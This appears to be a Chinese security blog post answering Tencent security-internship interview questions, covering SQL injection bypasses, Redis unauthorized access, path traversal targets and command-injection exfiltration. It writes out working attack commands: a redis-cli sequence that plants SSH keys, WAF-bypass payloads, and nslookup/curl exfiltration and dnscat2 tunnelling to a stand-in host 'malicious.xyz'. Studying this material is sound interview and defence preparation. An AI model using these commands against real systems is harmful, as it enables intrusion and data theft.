网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
腾讯-技术安全实习生
sql二次注入原理 二次注入修复 sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过 redis未授权访问 渗透测试完整流程 打CTF印象比较深刻的题目 文件下载漏洞利用方式 利用文件下载漏洞找文件名具体是找什么文件名(读取文件一般会读取哪些文件)(ctf中?实战中) 命令执行漏洞,http不出网有什么比较号的处理方法(发散一点说) 接上一题,通过隧道通信,详细讲讲通过上面类型的隧道,讲讲具体的操作
一、SQL二次注入原理与修复
原理:
首次数据存储时未过滤(如用户注册/留言内容),攻击者在二次调用场景(如修改密码、数据关联查询)中触发恶意SQL语句。例如:注册用户名为admin'--
,后续密码修改时拼接语句导致权限绕过。修复方案:
- 全流程参数化查询:使用预编译语句(如
PreparedStatement
)替代动态拼接- 输入输出双重过滤:对存储数据再次校验,使用正则表达式拦截敏感字符
- 最小化数据库权限:禁止应用账户执行
DROP
、FILE
等高危操作- 数据分类处理:对用户名、邮箱等字段强制类型/长度限制
二、SQL注入过滤
information
的绕过方法关键词绕过技术:
- 大小写混合:
InfORmAtiON_schema
- 注释分割:
inf/*!0x0a*/ormation
(利用MySQL内联注释)- 等价函数替代:
- 使用
sys.schema_auto_increment_columns
(MySQL 5.7+)- 利用
mysql.innodb_table_stats
读取表名- 编码混淆:URL编码、十六进制(
0x696e666f726d6174696f6e
)- 多语句拼接:
concat('inf','ormation')
三、Redis未授权访问漏洞
利用方式:
- 写入SSH密钥:bash
redis-cli -h 目标IP flushall echo -e "\n\nssh-rsa AAAAB3N...\n\n" | redis-cli -h 目标IP -x set crackit redis-cli -h 目标IP config set dir /root/.ssh/ redis-cli -h 目标IP config set dbfilename authorized_keys save
- Webshell写入:通过
config set dir
指向Web目录,写入恶意.php
文件- 主从复制RCE:利用
SLAVEOF
指向恶意Redis服务器加载模块防御措施:
- 启用
requirepass
配置强密码- 绑定IP白名单(
bind 127.0.0.1
)- 禁用高危命令:
rename-command FLUSHALL ""
四、渗透测试标准化流程mermaid
graph TD A[前期交互] --> B(信息收集: 域名/端口/指纹/员工信息) B --> C(漏洞扫描: Nessus/AWVS + 手动验证误报) C --> D{漏洞利用: 根据漏洞类型选择EXP} D --> E[横向移动: 票据传递/漏洞链组合] E --> F[数据提取: 敏感文件/数据库脱库] F --> G[痕迹清理: 删除日志/恢复配置] G --> H(报告输出: 风险评级+修复方案)
五、CTF经典题型案例
题目:过滤了
select
和空格的时间盲注
解法:sql?id=1'/**/and/**/if(ascii(substr((database()),1,1))>100,sleep(3),1)--+
绕过技巧:
- 使用
/**/
替代空格,mid
替代substr
- 嵌套
json_extract
函数绕过from
关键词过滤
六、文件下载漏洞利用
CTF常见目标文件:
/proc/self/environ
(环境变量泄露)/var/www/html/config.php
(数据库凭证)/etc/passwd
(用户枚举)实战利用链:
- 通过
../../
遍历读取WEB-INF/web.xml
定位Java类路径- 下载
/etc/nginx/sites-enabled/default
分析反向代理规则- 结合
.bash_history
寻找敏感操作记录
七、HTTP不出网的命令执行漏洞处理
无回显利用方案:
- DNS隧道:bash
# 攻击端启动监听 dnscat2-server --domain=malicious.xyz # 目标端执行 nslookup $(whoami).malicious.xyz
- ICMP隧道:使用
ptunnel
或icmpsh
传输数据- 延时盲注:通过
sleep $(id|cut -c1)
编码执行结果- 临时文件写入:bash
id > /tmp/.httpd_cache && curl -X POST -d @/tmp/.httpd_cache http://malicious.xyz
八、隧道通信技术细节(以DNS隧道为例)
操作流程:
- 域名配置:注册域名并设置NS记录指向VPS
- 服务端部署:bash
sudo dnscat2-server --secret=加密密钥 malicious.xyz
- 客户端植入:bash
dnscat2-client --secret=加密密钥 --dns server=malicious.xyz,port=53 --max-retransmits 0
- 数据封装:将TCP流量封装为DNS TXT查询请求
- 流量伪装:使用
iodine
支持Base32编码规避检测